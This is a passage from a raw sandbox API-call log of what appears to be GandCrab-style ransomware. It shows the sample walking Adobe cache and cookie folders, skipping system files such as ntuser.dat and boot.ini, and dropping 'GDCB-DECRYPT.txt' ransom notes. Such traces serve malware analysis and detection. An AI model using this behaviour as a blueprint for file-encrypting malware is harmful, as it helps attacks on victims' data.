lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0169.936] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0169.936] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0169.936] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0169.936] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.936] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 129 [0169.936] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 129 [0169.936] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.937] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0169.937] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.937] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.937] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.937] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.937] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0169.937] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.937] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 134 [0169.937] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 134 [0169.937] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 134 [0169.937] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 134 [0169.937] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.937] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.937] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.937] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.937] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.937] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.937] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.938] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.938] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.938] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.938] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.938] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0169.938] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0169.938] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0169.938] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.938] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 131 [0169.938] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 131 [0169.938] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.938] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0169.938] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.938] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.938] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0169.938] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0169.938] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0169.938] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\" [0169.938] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.939] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.939] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.939] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.939] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.939] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.939] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 119 [0169.939] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0169.939] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4918 [0169.939] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.939] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.939] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.939] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.939] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.939] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0169.939] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0169.939] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0169.939] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 126 [0169.939] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.939] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0169.939] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0169.939] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0169.939] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 134 [0169.939] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.939] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.939] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.939] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0169.939] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 135 [0169.940] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.940] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0169.940] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.940] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.940] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt") returned 136 [0169.940] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cookie\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.941] GetLastError () returned 0x50 [0169.941] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.941] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 119 [0169.941] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0169.941] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4d18 [0169.941] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.941] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.941] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.941] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.941] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.941] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0169.941] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0169.941] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0169.941] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.941] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 126 [0169.941] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 126 [0169.941] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.941] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.941] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0169.941] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0169.942] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0169.942] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.942] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 134 [0169.942] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 134 [0169.942] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.942] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.942] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.942] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.942] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0169.942] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.942] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 135 [0169.942] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 135 [0169.942] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 135 [0169.942] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 135 [0169.942] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.942] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.942] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.942] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.942] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.942] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.942] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.942] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.942] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.942] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.942] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0169.943] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.943] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.943] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.943] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.943] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0169.943] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.943] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 128 [0169.943] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 128 [0169.943] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 128 [0169.943] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 128 [0169.943] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.943] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.943] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.943] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.943] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.943] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.943] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.943] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.943] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.943] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.943] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0169.943] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.944] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.944] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.944] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.944] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0169.944] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.944] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 120 [0169.944] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 120 [0169.944] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 120 [0169.944] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 120 [0169.944] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.944] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.944] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.944] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.944] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.944] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.944] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.944] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.944] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.944] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.944] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0169.944] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.944] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.944] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.944] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.945] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application 